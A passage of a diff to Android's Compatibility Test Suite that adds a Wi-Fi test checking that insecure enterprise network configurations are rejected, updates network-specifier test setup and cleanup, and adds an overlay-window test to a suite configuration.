+        int networkId = INVALID_NETWORK_ID;
+
+        // These below API's only work with privileged permissions (obtained via shell identity
+        // for test)
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            uiAutomation.adoptShellPermissionIdentity();
+
+            // Verify that an insecure network is rejected
+            assertEquals(INVALID_NETWORK_ID, mWifiManager.addNetwork(wifiConfiguration));
+
+            // Now configure it correctly with a Root CA cert and domain name
+            wifiConfiguration.enterpriseConfig.setCaCertificate(FakeKeys.CA_CERT0);
+            wifiConfiguration.enterpriseConfig.setAltSubjectMatch(TEST_DOM_SUBJECT_MATCH);
+
+            // Verify that the network is added
+            networkId = mWifiManager.addNetwork(wifiConfiguration);
+            assertNotEquals(INVALID_NETWORK_ID, networkId);
+
+            // Verify that the update API accepts configurations configured securely
+            wifiConfiguration.networkId = networkId;
+            assertEquals(networkId, mWifiManager.updateNetwork(wifiConfiguration));
+
+            // Now clear the security configuration
+            wifiConfiguration.enterpriseConfig.setCaCertificate(null);
+            wifiConfiguration.enterpriseConfig.setAltSubjectMatch(null);
+
+            // Verify that the update API rejects insecure configurations
+            assertEquals(INVALID_NETWORK_ID, mWifiManager.updateNetwork(wifiConfiguration));
+        } finally {
+            if (networkId != INVALID_NETWORK_ID) {
+                // Clean up the previously added network
+                mWifiManager.removeNetwork(networkId);
+            }
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
 }
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java
index 8be0ac6..d819f2c 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java
@@ -16,6 +16,7 @@
 
 package android.net.wifi.cts;
 
+import static android.net.NetworkCapabilitiesProto.NET_CAPABILITY_INTERNET;
 import static android.net.NetworkCapabilitiesProto.TRANSPORT_WIFI;
 import static android.os.Process.myUid;
 
@@ -49,6 +50,7 @@
 import android.support.test.uiautomator.UiDevice;
 import android.text.TextUtils;
 
+import androidx.core.os.BuildCompat;
 import androidx.test.filters.SmallTest;
 import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
@@ -83,7 +85,6 @@
  * ConnectivityManager.NetworkCallback)}.
  *
  * Assumes that all the saved networks is either open/WPA1/WPA2/WPA3 authenticated network.
- * TODO(b/150716005): Use assumeTrue for wifi support check.
  */
 @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
 @SmallTest
@@ -206,9 +207,9 @@
     public static void setUpClass() throws Exception {
         Context context = InstrumentationRegistry.getInstrumentation().getContext();
         // skip the test if WiFi is not supported
-        assumeTrue(WifiFeature.isWifiSupported(context));
+        if (!WifiFeature.isWifiSupported(context)) return;
 
-        WifiManager wifiManager = (WifiManager) context.getSystemService(Context.WIFI_SERVICE);
+        WifiManager wifiManager = context.getSystemService(WifiManager.class);
         assertNotNull(wifiManager);
 
         // turn on verbose logging for tests
@@ -246,7 +247,7 @@
         Context context = InstrumentationRegistry.getInstrumentation().getContext();
         if (!WifiFeature.isWifiSupported(context)) return;
 
-        WifiManager wifiManager = (WifiManager) context.getSystemService(Context.WIFI_SERVICE);
+        WifiManager wifiManager = context.getSystemService(WifiManager.class);
         assertNotNull(wifiManager);
 
         if (!wifiManager.isWifiEnabled()) setWifiEnabled(true);
@@ -271,9 +272,17 @@
         mConnectivityManager = mContext.getSystemService(ConnectivityManager.class);
         mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
 
+        assumeTrue(WifiFeature.isWifiSupported(mContext));
+
         // turn screen on
         turnScreenOn();
 
+        // Clear any existing app state before each test.
+        if (BuildCompat.isAtLeastS()) {
+            ShellIdentityUtils.invokeWithShellPermissions(
+                    () -> mWifiManager.removeAppState(myUid(), mContext.getPackageName()));
+        }
+
         List<WifiConfiguration> savedNetworks = ShellIdentityUtils.invokeWithShellPermissions(
                 () -> mWifiManager.getPrivilegedConfiguredNetworks());
         // Pick the last saved network on the device (assumes that it is in range)
@@ -292,6 +301,11 @@
         if (mNetworkCallback != null) {
             mConnectivityManager.unregisterNetworkCallback(mNetworkCallback);
         }
+        // Clear any existing app state after each test.
+        if (BuildCompat.isAtLeastS()) {
+            ShellIdentityUtils.invokeWithShellPermissions(
+                    () -> mWifiManager.removeAppState(myUid(), mContext.getPackageName()));
+        }
         turnScreenOff();
     }
 
@@ -478,6 +492,7 @@
                 mConnectivityManager.requestNetwork(
                         new NetworkRequest.Builder()
                                 .addTransportType(TRANSPORT_WIFI)
+                                .removeCapability(NET_CAPABILITY_INTERNET)
                                 .setNetworkSpecifier(specifier)
                                 .build(),
                         mNetworkCallback);
@@ -531,8 +546,8 @@
             } else {
                 fail("Unsupported security type found in saved networks");
             }
-        } else if (!mTestNetwork.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.OWE)) {
-            specifierBuilder.setIsEnhancedOpen(false);
+        } else if (mTestNetwork.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.OWE)) {
+            specifierBuilder.setIsEnhancedOpen(true);
         } else if (!mTestNetwork.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.NONE)) {
             fail("Unsupported security type found in saved networks");
         }
diff --git a/tools/cts-tradefed/res/config/cts-meerkat.xml b/tools/cts-tradefed/res/config/cts-meerkat.xml
index a6ff35d..c95efe1 100644
--- a/tools/cts-tradefed/res/config/cts-meerkat.xml
+++ b/tools/cts-tradefed/res/config/cts-meerkat.xml
@@ -38,6 +38,7 @@
 
     <!-- System Alert Window (SAW) -->
     <option name="compatibility:include-filter" value="CtsSystemIntentTestCases"/>
+    <option name="compatibility:include-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.HideOverlayWindowsTest"/>
     <option name="compatibility:include-filter" value="CtsMediaTestCases android.media.cts.MediaProjectionTest"/>
 
     <!-- Toasts -->